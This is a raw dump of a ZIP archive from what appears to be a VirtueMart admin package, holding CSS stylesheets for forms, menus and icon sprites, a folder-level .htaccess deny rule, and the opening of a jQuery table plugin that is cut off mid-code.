auto;text-align: center;width: 32px;} #limit {width:60px;} /* jqeury ui autocomplete */ .ui-widget{margin-top:2em} .ui-widget-header,.ui-widget-content{padding:.5em 1em} .ui-widget-header h2{margin:0;padding:0} .ui-autocomplete{width:600px;height:300px} .ui-autocomplete li{background:none repeat scroll 0 0 #FFF;display:inline;float:left;list-style:none outside none;position:relative;margin:0;padding:0} .vmpayment_description,.vmshipment_description{margin-left:2px} #plugin-Container{display:table} .vm2-modallink{height:16px;margin-left:3px;width:16px;display:inline-block;background:url(../images/admin_ui/icon_external_link.gif) no-repeat scroll left top transparent} .vmquote{background-color:#E9ECEF;border:1px solid #CCC;color:#254D78;font-size:12px;margin:4px;padding:10px} ul.newsfeed{list-style:none!important;text-align:left;padding:0} ul.newsfeed li{font-size:120%;line-height:150%;margin:0;padding:0 0 0 25px} .cpanel{padding-left:25px;text-align:left} .element-box{background:#fff} PKB\assets/css/index.htmlnuW+APKB\HȆR#R#assets/css/jqtransform.cssnuW+Aform.jqtransformdone label{ margin-top:4px; margin-right: 8px; display: block; float:left; } form.jqtransformdone div.rowElem{ clear:both; padding:4px 0px; } /* ------------- * Buttons * ------------- */ button.jqTransformButton { margin: 0px; padding: 0px; border: none; background-color: transparent; cursor: pointer; overflow: visible; font-family: Arial; } *:first-child+html button.jqTransformButton[type]{width: 1;} /* IE7 */ button.jqTransformButton span { background: transparent url(../images/jtransform/btn_right.gif) no-repeat right top; display: block; float: left; padding: 0px 4px 0px 0px; /* sliding doors padding */ margin: 0px; height: 33px; } button.jqTransformButton span span { background: transparent url(../images/jtransform/btn_left.gif) no-repeat top left; color: #333; padding: 8px 4px 0px 8px; font-weight: normal; font-size: 12px; line-height: 13px; display: block; text-decoration: none; height: 33px; } /*hover*/ button.jqTransformButton_hover span span { background-position: left -33px ; } button.jqTransformButton_hover span { background-position: right -33px ; } /*clicked*/ button.jqTransformButton_click span span { background-position: left -66px ; } button.jqTransformButton_click span { background-position: right -66px ; } /* IE 6 */ * html button.jqTransformButton { height:33px; } * button.jqTransformButton span span { height: 25px; } /* IE 7 */ *+ html button.jqTransformButton { height:33px; } *+ button.jqTransformButton span span { height: 25px; } /* ------------- * Inputs * ------------- */ .jqTransformInputWrapper { background: transparent url(../images/jtransform/input/input_text_left.gif) no-repeat left top; height: 31px; padding: 0px; float:left; } .jqTransformInputInner { background: transparent url(../images/jtransform/input/input_text_right.gif) no-repeat top right; padding: 0px; margin: 0px; } .jqTransformInputInner div { height: 31px; margin:0px 0px 0px 8px; } .jqTransformInputInner div input { font-family:Arial, Helvetica, sans-serif; font-size:12px; line-height: 18px; vertical-align: middle; height: 31px; color:#404040; border: none; padding: 8px 0px 0px 0px; margin: 0px; background:transparent; } /* IE6 */ * html .jqTransformInputInner div input { padding: 6px 0 0 0; margin: 0 0 0 -8px; height:24px; } /* Ie7 */ *+ html .jqTransformInputInner div input { padding: 6px 0 0 0; margin-left:-10px; height:24px; } /*hover*/ .jqTransformInputWrapper_hover{ background-position: left -31px ;} .jqTransformInputWrapper_hover div.jqTransformInputInner{ background-position: right -31px ;} /*focus*/ .jqTransformInputWrapper_focus{ background-position: left -62px ;} .jqTransformInputWrapper_focus div.jqTransformInputInner{ background-position: right -62px ;} .jqTransformSafari .jqTransformInputInner div { position: relative; overflow: hidden; margin:0px 8px; } .jqTransformSafari .jqTransformInputInner div input { background-color: none; position: absolute; top: -10px; left: -2px; height: 42px; padding-left: 4px; } /* ------------- * Textarea * ------------- */ table.jqTransformTextarea td#jqTransformTextarea-mm textarea{ font-size: 12px; line-height: 16px; } table.jqTransformTextarea td{ font-size: 1px; line-height: 1px; width: 5px; height: 5px; margin: 0; padding: 0; } table.jqTransformTextarea{} table.jqTransformTextarea tr{ /*border: 1px solid red;*/ } table.jqTransformTextarea textarea{ margin: 0; padding: 0; border: 0; background: none; } table.jqTransformTextarea td#jqTransformTextarea-tl{background: url(../images/jtransform/textarea/textarea_tl.gif) no-repeat top left;} table.jqTransformTextarea td#jqTransformTextarea-tm{background: url(../images/jtransform/textarea/textarea_tm.gif) repeat-x top left;} table.jqTransformTextarea td#jqTransformTextarea-tr{background: url(../images/jtransform/textarea/textarea_tr.gif) no-repeat top left;} table.jqTransformTextarea td#jqTransformTextarea-ml{background: url(../images/jtransform/textarea/textarea_ml.gif) repeat-y top left;} table.jqTransformTextarea td#jqTransformTextarea-mm{background: url(../images/jtransform/textarea/textarea-mm.gif) repeat;} table.jqTransformTextarea td#jqTransformTextarea-mr{background: url(../images/jtransform/textarea/textarea_mr.gif) repeat-y top left;} table.jqTransformTextarea td#jqTransformTextarea-bl{background: url(../images/jtransform/textarea/textarea_bl.gif) no-repeat top left;} table.jqTransformTextarea td#jqTransformTextarea-bm{background: url(../images/jtransform/textarea/textarea_bm.gif) repeat-x top left;} table.jqTransformTextarea td#jqTransformTextarea-br{background: url(../images/jtransform/textarea/textarea_br.gif) no-repeat top left;} /*hover*/ table.jqTransformTextarea-hover td#jqTransformTextarea-tl{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-tm{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-tr{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-ml{background-position:-5px 0px;} table.jqTransformTextarea-hover td#jqTransformTextarea-mm{background-image: url(../images/jtransform/textarea/textarea-mm-hover.gif);} table.jqTransformTextarea-hover td#jqTransformTextarea-mr{background-position:-5px 0px;} table.jqTransformTextarea-hover td#jqTransformTextarea-bl{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-bm{background-position:0px -5px;} table.jqTransformTextarea-hover td#jqTransformTextarea-br{background-position:0px -5px;} /*focus*/ table.jqTransformTextarea-focus td#jqTransformTextarea-tl{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-tm{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-tr{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-ml{background-position:-10px 0px;} table.jqTransformTextarea-focus td#jqTransformTextarea-mm{background-image: url(../images/jtransform/textarea/textarea-mm-focus.gif);} table.jqTransformTextarea-focus td#jqTransformTextarea-mr{background-position: -10px 0px;} table.jqTransformTextarea-focus td#jqTransformTextarea-bl{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-bm{background-position:0px -10px;} table.jqTransformTextarea-focus td#jqTransformTextarea-br{background-position:0px -10px;} table.jqTransformTextarea .jqTransformSafariTextarea div { position: relative; overflow: hidden; border: 0px solid red; } table.jqTransformTextarea .jqTransformSafariTextarea textarea{ background: none; position: absolute; top:-10px; left:-10px; padding: 10px 10px 10px 10px; resize: none; } /* ------------- * Radios * ------------- */ .jqTransformRadioWrapper {float: left;display:block;margin:0px 4px; margin-top:5px;} .jqTransformRadio { background: transparent url(../images/jtransform/radio.gif) no-repeat center top; vertical-align: middle; height: 19px; width: 18px; display:block;/*display: -moz-inline-block;*/ } /* ------------- * Checkboxes * ------------- */ span.jqTransformCheckboxWrapper{ display:block;float:left; margin-top:5px; } a.jqTransformCheckbox { background: transparent url(../images/jtransform/checkbox.gif) no-repeat center top; vertical-align: middle; height: 19px; width: 18px; display:block;/*display: -moz-inline-block;*/ } /* ------------- * Checked - Used for both Radio and Checkbox * ------------- */ a.jqTransformChecked { background-position: center bottom;} /* ------------- * Selects * ------------- */ .jqTransformSelectWrapper { width: 45px; position:relative; height: 31px; background: url(../images/jtransform/select_left.gif) no-repeat top left; float:left; } .jqTransformSelectWrapper div span { font-size: 12px; float: none; position: absolute; white-space: nowrap; height: 31px; line-height: 15px; padding: 8px 0 0 7px; overflow: hidden; cursor:pointer; /*border: 1px solid #CCCCCC;*/ /* border-right: none;*/ } .jqTransformSelectWrapper a.jqTransformSelectOpen { display: block; position: absolute; right: 0px; width: 31px; height: 31px; background: url(../images/jtransform/select_right.gif) no-repeat center center; } .jqTransformSelectWrapper ul { position: absolute; width: 43px; top: 30px; left: 0px; list-style: none; background-color: #FFF; border: solid 1px #CCC; display: none; margin: 0px; padding: 0px; height: 150px; overflow: auto; overflow-y: auto; z-index:10; } .jqTransformSelectWrapper ul a { display: block; padding: 5px; text-decoration: none; color:#333; background-color: #FFF; font-size: 12px; } .jqTransformSelectWrapper ul a.selected { background: #EDEDED; color: #333; } .jqTransformSelectWrapper ul a:hover, .jqTransformSelectWrapper ul a.selected:hover { background:#3582c4; color: #fff; } /* ------------- * Hidden - used to hide the original form elements * ------------- */ .jqTransformHidden {display: none;}PKB\ccassets/css/admin_menu.cssnuW+A#content-box { background: url(../images/admin_menu/vm_border.png) 0 0 repeat-y; } #content-box2 { background: url(../images/admin_menu/vm_border.png) 100% 0 repeat-y; background-color: Black; } #content-box3 { background: url(../images/admin_menu/vm_border.png) 100% 0 repeat-y; } #content-pad { padding: 0; } #content-pad2 { padding: 0; } .spacer { height: 10px; overflow: hidden; } .content-area { float: right; width: 80%; } .content-area-full { clear: both; float: none; width: 100%; } .content-area .content-pad .content-pad2 { padding-left: 10px; } .content-area-full .content-pad .content-pad2 { padding: 0; } .section-smenu{ } .title-smenu, .title-smenu-down { margin: 0px; padding: 9px 10px 7px 28px; color: #fff; cursor: pointer; font-size: 11px; font-weight: normal; text-shadow: 0px -1px 0px #0a366d; text-transform: uppercase; } .title-smenu { background: url(../images/admin_interface.png) no-repeat;background-position: 0px -117px; } .title-smenu-down { background: url(../images/admin_interface.png) no-repeat;background-position: 0px -177px; } div.status-divider { clear:left; height: 1px !important; height: 3px; overflow: hidden; } .sidemenu-box { float: left; width: 180px; } .sidemenu-box2 { float: left; width: 100%; } .sidemenu-pad { padding: 0; margin-bottom: 0px !important; } .sidemenu-top {text-align: center;background: url(../images/admin_interface.png) top left no-repeat;padding: 12px 0px 12px 0px;-webkit-border-top-left-radius: 6px;-moz-border-radius-topleft: 6px;-webkit-border-top-right-radius: 6px;-moz-border-radius-topright: 6px;} .sidemenu-top a {display: block;margin: 0px 0px 8px 0px;} .sidemenu-top h2 {margin: 0px;padding: 0px;} .sidemenu-top h2 a {font-size: 12px;color: #fff;text-shadow: 1px 1px 1px #000;} .sidemenu-top h2 a:hover {text-decoration: none;} .sidemenu-bottom {text-align: center;background: url(../images/admin_interface.png) top left no-repeat;padding: 16px 0px 17px 0px;background-position: 0px -268px;-webkit-border-bottom-left-radius: 6px;-moz-border-radius-bottomleft: 6px;-webkit-border-bottom-right-radius: 6px;-moz-border-radius-bottomright: 6px;} .sidemenu-bottom a:link, .sidemenu-bottom a:visited {font-size: 12px;color: #fff;text-shadow: 1px 1px 1px #000;} .sidemenu-bottom a:hover {text-decoration: none;} .updates {text-align: center;} .updates a, .updates a:visited {display:inline-block;background: #84df54 url(../images/admin_interface.png) top left no-repeat;color: #fff;background-position: 0px -315px;padding: 5px 12px 5px 12px;font-size: 12px;text-shadow: 0px -1px 0px #0d8604;font-weight: bold;-webkit-border-bottom-left-radius: 6px;-webkit-border-bottom-right-radius: 6px;-moz-border-radius-bottomleft: 6px;-moz-border-radius-bottomright: 6px;} .updates a:hover {text-decoration: none;} .element-box { background: #fff; } .element-pad { padding: 10px; } .extra-padding { padding: 10px; } .sidemenu-box ul { margin: 0; padding: 0; } .sidemenu-box ul li { } .sidemenu-box li a { margin: 0px; padding: 9px 10px 6px 28px; cursor: pointer; font-size: 12px; font-weight: normal; text-shadow: 0px -1px 0px #fff; display: block; background: url(../images/admin_interface.png) no-repeat; background-position: 0px -207px; color: #4a4a4a; } .sidemenu-box li a:hover { background-position: 0px -237px; color: #0270bc; text-decoration: none; } .sidemenu-box li a:active { background-position: 0px -237px; color: #0270bc; text-decoration: none; } .sidemenu-box h2 { font-size: 18px; font-weight: bold; margin: 0; padding: 0 5px; color: #0B55C4; margin-bottom: 5px; } .vmquote { background-color: #E9ECEF; border: 1px solid #CCCCCC; color: #254D78; font-size: 12px; margin: 4px; padding: 10px; }PKB\$~$FFassets/css/admin.styles.cssnuW+A.ui-autocomplete{position:absolute} #cpanel{text-align:center;vertical-align:middle;height:1%;overflow:hidden} #cpanel div.icon{margin:3px} .admin-content div.icon a { display: block; height: 93px !important; height: 95px; width: 118px !important; width: 120px; vertical-align: middle; text-decoration : none; border: none; padding: 8px 12px 6px 12px; -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.25) inset, 0 1px 2px #FFFFFF; -webkit-box-shadow:rgba(0, 0, 0, 0.148438) 0 1px 2px inset, #FFFFFF 0 1px 2px; background-image: -moz-linear-gradient(100% 100% 90deg, #F8F8F8, #FFFFFF); background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#FFFFFF), to(#F1F1F1)); -webkit-border-radius: 6px; -moz-border-radius: 6px; font-size: 12px; } .adminListHeader{height:48px;background-repeat:no-repeat;text-align:left;font-size:18px;font-weight:700;padding-left:80px} .editable{background:#ffff33;cursor:pointer} .align-center{text-align:center} .vm-block{overflow:hidden} .vm-main-container{position:relative} .vm-layout-left{float:left;width:200px} .vm-layout-right{width:auto} .vm-replace-content{text-indent:-9999px;font-size:0} .vm-absolute{position:absolute} .detachselectimage,#addnewselectimage{background-repeat:no-repeat;border:1px solid #CCCCCC;cursor:pointer;display:inline;line-height:36px;margin:5px;padding:5px 5px 5px 16px} .vm_thumb_image{background:url(../images/admin_ui/toolbar_background.png) repeat-x scroll center bottom;border:1px solid #B4B4B4;border-radius:6px;display:block;float:left;height:140px;overflow:hidden;position:relative;text-align:center;vertical-align:middle;width:120px;margin:2px;padding:10px} .vm_thumb_image img{max-height:90px;max-width:110px} .vm_mini_image{max-height:50px;max-width:80px;vertical-align:middle} .vm__img_autocrop{display:block;max-height:400px;overflow:auto;position:relative;text-align:center} .custom_related_title,.custom_related_image{display:block;clear:both} .remove{cursor:pointer} .vm-order_comment{display:block;position:absolute;z-index:1;width:200px;margin:-20px} #fancybox-left-ico{left:20px} #fancybox-right-ico{right:20px;left:auto} .edit-24-grey{background-image:url(../images/edit-24-grey.png);background-position:center center;background-repeat:no-repeat;border:1px solid #CCCCCC;border-radius:4px;display:inline;height:24px;right:0;position:absolute;bottom:2px;width:24px;cursor:pointer;margin:2px 0 0 2px} .removable{border-radius:6px 6px 6px 6px;border:1px solid #CCCCCC;padding:2px} #new_stockable_product{border:1px solid #CCCCCC;cursor:pointer;padding:2px} div.threecols ul li{background:none repeat scroll 0 0 transparent;display:inline-block;min-height:10px;vertical-align:top;width:32%;padding:0} div.threecols ul{margin:0;padding:0} .hasTip:after{ font:12px/1.4 Arial,Georgia,sans-serif; content: attr(title); display:none; position:absolute; padding:5px 10px; top:0px; margin:1em 0 3em; color:#fff; background:#075698; left:-20px; -moz-border-radius:4px; -webkit-border-radius:4px; border-radius:4px; background:-webkit-gradient(linear, left top, left bottom, from(#075698), to(#2e88c4)); background:-moz-linear-gradient(top, #075698, #2e88c4); background:-o-linear-gradient(top, #075698, #2e88c4); background:linear-gradient(top, #075698, #2e88c4); -moz-box-shadow: 0px 0px 4px #000; /* FF3.5+ */ -webkit-box-shadow: 0px 0px 4px #000; /* Saf3.0+, Chrome */ box-shadow: 0px 0px 4px #000; /* Opera 10.5, IE 9.0 */ filter: progid:DXImageTransform.Microsoft.dropshadow(OffX=0px, OffY=0px, Color='#000'); /* IE6,IE7 */ -ms-filter: "progid:DXImageTransform.Microsoft.dropshadow(OffX=0px, OffY=0px, Color='#000')"; /* IE8 */ } .media-pagination span{padding:6px; margin-left: 2px; border:solid 1px #075698; -moz-border-radius:6px; -webkit-border-radius:6px; border-radius:6px; } .media-pagination span:hover,.media-pagination span.media-page-selected{background:#CAC9C9;cursor:pointer} .element-hidden{display:none} .datepicker{text-align:center;width:70px} a.fg-button,.always-left{float:left!important} .fg-button{cursor:pointer;outline:0 none;position:relative;text-align:center;text-decoration:none!important;margin:0 4px 0 0;padding:0} #searchMedia{margin:0;padding:0} .stock-out{background-color:#f9a7aa!important;color:black} .stock-low{background-color:#F7B77B!important;color:black} .stock-normal{background-color:#F0F9D0!important;color:black} table.adminlist td.order{width:100px!important} ol.logline {margin: 15px 0;padding: 0 0 0 20px;background: #F7F7F7; border: 1px solid #CCC;} ol.logline li {margin: 0 0 0 20px;padding: 5px 10px 5px 10px;list-style: decimal-leading-zero;word-wrap: break-word;border-left: 1px solid #CCC;background: #FFF;}PKB\& 77assets/css/menu_images.cssnuW+A.vmicon{ background: no-repeat top left; width: 16px;height: 16px; float: right;margin-right: 4px; opacity : 0.8; -moz-opacity : 0.8; -ms-filter: "alpha(opacity=90)"; /* IE 8 */ filter : alpha(opacity=90); /* IE < 8 */ } .vmicon:hover{opacity :1;} .vmextimg img{width:48px!important; float:none!important; margin:0 auto !important;padding:5px 0 !important;} /* to use inline with no float*/ .icon-nofloat{ display: inline-block; float: none; vertical-align: middle;} .vmicon-16-adduser{ background: url(../images/icone16.png) 0 0; } .vmicon-16-adduser-off{ background: url(../images/icone16.png) 0 -16px;} .vmicon-16-apply{ background: url(../images/icone16.png) 0 -82px;} .vmicon-16-apply{ background: url(../images/icone16.png) 0 -98px;} .vmicon-16-archive{ background: url(../images/icone16.png) 0 -164px; } .vmicon-16-article{ background: url(../images/icone16.png) 0 -230px; } .vmicon-16-back{ background: url(../images/icone16.png) 0 -296px;} .vmicon-16-back-off{ background: url(../images/icone16.png) 0 -212px;} .vmicon-16-bug{ background: url(../images/icone16.png) 0 -378px; } .vmicon-16-cancel{ background: url(../images/icone16.png) 0 -444px;} .vmicon-16-cancel-off{ background: url(../images/icone16.png) 0 -460px;} .vmicon-16-category{ background: url(../images/icone16.png) 0 -526px; } .vmicon-16-checkin{ background: url(../images/icone16.png) 0 -592px; } .vmicon-16-component{ background: url(../images/icone16.png) 0 -658px; } .vmicon-16-config{ background: url(../images/icone16.png) 0 -724px; } .vmicon-16-content{ background: url(../images/icone16.png) 0 -790px; } .vmicon-16-copy{ background: url(../images/icone16.png) 0 -856px;} .vmicon-16-copy-off{ background: url(../images/icone16.png) 0 -872px;} .vmicon-16-cpanel{ background: url(../images/icone16.png) 0 -938px; } .vmicon-16-css{ background: url(../images/icone16.png) 0 -1004px;} .vmicon-16-css-off{ background: url(../images/icone16.png) 0 -1004px;} .vmicon-16-default-off{ background: url(../images/icone16.png) 0 -1086px; } .vmicon-16-default{ background: url(../images/icone16.png) 0 -1152px; } .vmicon-16-download{ background: url(../images/icone16.png) 0 -1220px;} .vmicon-16-download-off{ background: url(../images/icone16.png) 0 -1234px;} .vmicon-16-edit{ background: url(../images/icone16.png) 0 -1300px;} .vmicon-16-edit-off{ background: url(../images/icone16.png) 0 -1316px;} .vmicon-16-editadd{ background: url(../images/icone16.png) 0 -1382px; } .vmicon-16-export{ background: url(../images/icone16.png) 0 -1448px;} .vmicon-16-export-off{ background: url(../images/icone16.png) 0 -1464px;} .vmicon-16-forward{ background: url(../images/icone16.png) 0 -1530px;} .vmicon-16-forward-off{ background: url(../images/icone16.png) 0 -1546px;} .vmicon-16-frontpage{ background: url(../images/icone16.png) 0 -1612px; } .vmicon-16-google2{ background: url(../images/icone16.png) 0 -1678px; } .vmicon-16-help{ background: url(../images/icone16.png) 0 -1744px; } .vmicon-16-html{ background: url(../images/icone16.png) 0 -1810px;} .vmicon-16-html-off{ background: url(../images/icone16.png) 0 -1826px;} .vmicon-16-import{ background: url(../images/icone16.png) 0 -1892px; } .vmicon-16-info{ background: url(../images/icone16.png) -66px 0; } .vmicon-16-install{ background: url(../images/icone16.png) -66px -66px; } .vmicon-16-language{ background: url(../images/icone16.png) -66px -132px; } .vmicon-16-logout{ background: url(../images/icone16.png) -66px -198px; } .vmicon-16-media{ background: url(../images/icone16.png) -66px -264px; } .vmicon-16-menu{ background: url(../images/icone16.png) -66px -330px; } .vmicon-16-menumgr{ background: url(../images/icone16.png) -66px -396px; } .vmicon-16-messages{ background: url(../images/icone16.png) -66px -462px; } .vmicon-16-module{ background: url(../images/icone16.png) -66px -528px; } .vmicon-16-move{ background: url(../images/icone16.png) -66px -594px;} .vmicon-16-move-off{ background: url(../images/icone16.png) -66px -610px;} .vmicon-16-new{ background: url(../images/icone16.png) -66px -676px;} .vmicon-16-new-off{ background: url(../images/icone16.png) -66px -692px;} .vmicon-16-orderstatus{ background: url(../images/icone16.png) -66px -758px; } .vmicon-16-plugin{ background: url(../images/icone16.png) -66px -824px; } .vmicon-16-preview{ background: url(../images/icone16.png) -66px -890px;} .vmicon-16-preview-off{ background: url(../images/icone16.png) -66px -906px;} .vmicon-16-publish{ background: url(../images/icone16.png) -66px -972px;} .vmicon-16-publish-off{ background: url(../images/icone16.png) -66px -988px;} .vmicon-16-refresh{ background: url(../images/icone16.png) -66px -1054px;} .vmicon-16-refresh-off{ background: url(../images/icone16.png) -66px -1070px;} .vmicon-16-reload{ background: url(../images/icone16.png) -66px -1136px; } .vmicon-16-remove{ background: url(../images/icone16.png) -66px -1202px; } .vmicon-16-revert{ background: url(../images/icone16.png) -66px -1268px;} .vmicon-16-revert-off{ background: url(../images/icone16.png) -66px -1284px;} .vmicon-16-save{ background: url(../images/icone16.png) -66px -1350px; } .vmicon-16-search{ background: url(../images/icone16.png) -66px -1416px;} .vmicon-16-search-off{ background: url(../images/icone16.png) -66px -1432px;} .vmicon-16-section{ background: url(../images/icone16.png) -66px -1498px; } .vmicon-16-send{ background: url(../images/icone16.png) -66px -1564px;} .vmicon-16-send-off{ background: url(../images/icone16.png) -66px -1576px;} .vmicon-16-static{ background: url(../images/icone16.png) -66px -1646px; } .vmicon-16-stats{ background: url(../images/icone16.png) -66px -1712px; } .vmicon-16-themes{ background: url(../images/icone16.png) -66px -1778px; } .vmicon-16-trash{ background: url(../images/icone16.png) -66px -1844px; } .vmicon-16-unpublish{ background: url(../images/icone16.png) -66px -1910px;} .vmicon-16-unpublish-off{ background: url(../images/icone16.png) -66px -1926px;} .vmicon-16-upload{ background: url(../images/icone16.png) -132px 0;} .vmicon-16-upload-off{ background: url(../images/icone16.png) -132px 16px;} .vmicon-16-user{ background: url(../images/icone16.png) -132px -82px; } .vmicon-16-xml{ background: url(../images/icone16.png) -132px -148px; } /*menu wrapper toggler */ .virtuemart-admin-area .toggler { position: absolute; outline: 0;} .vmicon-show{ background: url(../images/show.png) no-repeat;width: 20px; height: 50px; } .vmicon-hide{background: url(../images/hide.png) no-repeat;width: 20px; height: 50px; } /* more extras */ .vmicon-16-account_balances{ background: url(../images/icone16-more.png) 0 0; } .vmicon-16-anchor{ background: url(../images/icone16-more.png) 0 -32px; } .vmicon-16-barchart{ background: url(../images/icone16-more.png) 0 -64px; } .vmicon-16-book_spelling{ background: url(../images/icone16-more.png) 0 -96px; } .vmicon-16-bricks{ background: url(../images/icone16-more.png) 0 -128px; } .vmicon-16-calculator{ background: url(../images/icone16-more.png) 0 -160px; } .vmicon-16-calendar{ background: url(../images/icone16-more.png) 0 -192px; } .vmicon-16-calendar_view_day{ background: url(../images/icone16-more.png) 0 -224px; } .vmicon-16-camera{ background: url(../images/icone16-more.png) 0 -256px; } .vmicon-16-card_back{ background: url(../images/icone16-more.png) 0 -288px; } .vmicon-16-card_credit{ background: url(../images/icone16-more.png) 0 -320px; } .vmicon-16-card_gift_2{ background: url(../images/icone16-more.png) 0 -352px; } .vmicon-16-cash_terminal{ background: url(../images/icone16-more.png) 0 -384px; } .vmicon-16-chart_bar{ background: url(../images/icone16-more.png) 0 -416px; } .vmicon-16-chart_pie_alternative{ background: url(../images/icone16-more.png) 0 -448px; } .vmicon-16-chart_stock{ background: url(../images/icone16-more.png) 0 -480px; } .vmicon-16-client_account_template{ background: url(../images/icone16-more.png) 0 -512px; } .vmicon-16-cog{ background: url(../images/icone16-more.png) 0 -544px; } .vmicon-16-coin_stack_gold{ background: url(../images/icone16-more.png) 0 -576px; } .vmicon-16-coins{ background: url(../images/icone16-more.png) 0 -608px; } .vmicon-16-comment_edit{ background: url(../images/icone16-more.png) 0 -640px; } .vmicon-16-comments{ background: url(../images/icone16-more.png) 0 -672px; } .vmicon-16-compress{ background: url(../images/icone16-more.png) 0 -704px; } .vmicon-16-convert_color_to_gray{ background: url(../images/icone16-more.png) 0 -736px; } .vmicon-16-creditcards{ background: url(../images/icone16-more.png) 0 -768px; } .vmicon-16-database_gear{ background: url(../images/icone16-more.png) 0 -800px; } .vmicon-16-date{ background: url(../images/icone16-more.png) 0 -832px; } .vmicon-16-date_edit{ background: url(../images/icone16-more.png) 0 -864px; } .vmicon-16-disk{ background: url(../images/icone16-more.png) 0 -896px; } .vmicon-16-document_editing{ background: url(../images/icone16-more.png) 0 -928px; } .vmicon-16-document_move{ background: url(../images/icone16-more.png) 0 -960px; } .vmicon-16-drive_user{ background: url(../images/icone16-more.png) 0 -992px; } .vmicon-16-email{ background: url(../images/icone16-more.png) 0 -1024px; } .vmicon-16-email_add{ background: url(../images/icone16-more.png) 0 -1056px; } .vmicon-16-email_open{ background: url(../images/icone16-more.png) 0 -1088px; } .vmicon-16-email_open_image{ background: url(../images/icone16-more.png) 0 -1120px; } .vmicon-16-error{ background: url(../images/icone16-more.png) 0 -1152px; } .vmicon-16-ext_bmp{ background: url(../images/icone16-more.png) 0 -1184px; } .vmicon-16-ext_doc{ background: url(../images/icone16-more.png) 0 -1216px; } .vmicon-16-ext_flv{ background: url(../images/icone16-more.png) 0 -1248px; } .vmicon-16-ext_gif{ background: url(../images/icone16-more.png) 0 -1280px; } .vmicon-16-ext_html{ background: url(../images/icone16-more.png) 0 -1312px; } .vmicon-16-ext_jpeg{ background: url(../images/icone16-more.png) 0 -1344px; } .vmicon-16-ext_jpg{ background: url(../images/icone16-more.png) 0 -1376px; } .vmicon-16-ext_mp4{ background: url(../images/icone16-more.png) 0 -1408px; } .vmicon-16-ext_mpeg{ background: url(../images/icone16-more.png) 0 -1440px; } .vmicon-16-ext_pdf{ background: url(../images/icone16-more.png) 0 -1472px; } .vmicon-16-ext_png{ background: url(../images/icone16-more.png) 0 -1504px; } .vmicon-16-ext_rar{ background: url(../images/icone16-more.png) 0 -1536px; } .vmicon-16-ext_swf{ background: url(../images/icone16-more.png) 0 -1568px; } .vmicon-16-ext_xls{ background: url(../images/icone16-more.png) 0 -1600px; } .vmicon-16-ext_zip{ background: url(../images/icone16-more.png) 0 -1632px; } .vmicon-16-film{ background: url(../images/icone16-more.png) 0 -1664px; } .vmicon-16-folder{ background: url(../images/icone16-more.png) 0 -1696px; } .vmicon-16-folder_camera{ background: url(../images/icone16-more.png) 0 -1728px; } .vmicon-16-folder_image{ background: url(../images/icone16-more.png) 0 -1760px; } .vmicon-16-folder_user{ background: url(../images/icone16-more.png) 0 -1792px; } .vmicon-16-folder_wrench{ background: url(../images/icone16-more.png) 0 -1824px; } .vmicon-16-gear_in{ background: url(../images/icone16-more.png) 0 -1856px; } .vmicon-16-gift_add{ background: url(../images/icone16-more.png) 0 -1888px; } .vmicon-16-globe{ background: url(../images/icone16-more.png) 0 -1920px; } .vmicon-16-group{ background: url(../images/icone16-more.png) 0 -1952px; } .vmicon-16-group_gear{ background: url(../images/icone16-more.png) -32px 0; } .vmicon-16-house{ background: url(../images/icone16-more.png) -32px -32px; } .vmicon-16-installer_box{ background: url(../images/icone16-more.png) -32px -64px; } .vmicon-16-interface_preferences{ background: url(../images/icone16-more.png) -32px -96px; } .vmicon-16-layout{ background: url(../images/icone16-more.png) -32px -128px; } .vmicon-16-layout_content{ background: url(../images/icone16-more.png) -32px -160px; } .vmicon-16-lorry{ background: url(../images/icone16-more.png) -32px -192px; } .vmicon-16-lorry_flatbed{ background: url(../images/icone16-more.png) -32px -224px; } .vmicon-16-magnifier{ background: url(../images/icone16-more.png) -32px -256px; } .vmicon-16-map{ background: url(../images/icone16-more.png) -32px -288px; } .vmicon-16-mixer{ background: url(../images/icone16-more.png) -32px -320px; } .vmicon-16-note{ background: url(../images/icone16-more.png) -32px -352px; } .vmicon-16-page_white_stack{ background: url(../images/icone16-more.png) -32px -384px; } .vmicon-16-participation_rate{ background: url(../images/icone16-more.png) -32px -416px; } .vmicon-16-picture{ background: url(../images/icone16-more.png) -32px -448px; } .vmicon-16-pictures{ background: url(../images/icone16-more.png) -32px -480px; } .vmicon-16-piechart{ background: url(../images/icone16-more.png) -32px -512px; } .vmicon-16-plugin{ background: url(../images/icone16-more.png) -32px -544px; } .vmicon-16-plugin_edit{ background: url(../images/icone16-more.png) -32px -576px; } .vmicon-16-price_watch{ background: url(../images/icone16-more.png) -32px -608px; } .vmicon-16-report{ background: url(../images/icone16-more.png) -32px -640px; } .vmicon-16-reseller_account{ background: url(../images/icone16-more.png) -32px -672px; } .vmicon-16-reseller_account_template{ background: url(../images/icone16-more.png) -32px -704px; } .vmicon-16-reseller_programm{ background: url(../images/icone16-more.png) -32px -736px; } .vmicon-16-shopping{ background: url(../images/icone16-more.png) -32px -768px; } .vmicon-16-statistic{ background: url(../images/icone16-more.png) -32px -800px; } .vmicon-16-statistics{ background: url(../images/icone16-more.png) -32px -832px; } .vmicon-16-to_do_list_cheked_1{ background: url(../images/icone16-more.png) -32px -864px; } .vmicon-16-user-group{ background: url(../images/icone16-more.png) -32px -896px; } .vmicon-16-user-phd-group{ background: url(../images/icone16-more.png) -32px -928px; } .vmicon-16-wrench_orange{ background: url(../images/icone16-more.png) -32px -960px; } PKB\)assets/js/.htaccessnuW+A Order allow,deny Deny from all PKB\Tq#assets/js/jquery.noConflict.jsnuW+AjQuery.noConflict();PKB\Qzaaassets/js/vm2admin.jsnuW+A// based on http://www.seomoves.org/blog/web-design-development/dynotable-a-jquery-plugin-by-bob-tantlinger-2683/ (function ($) { $.fn.extend({ dynoTable:function (options) { var defaults = { removeClass:'.row-remover', cloneClass:'.row-cloner', addRowTemplateId:'#add-template', addRowButtonId:'#add-row', lastRowRemovable:true, orderable:true, 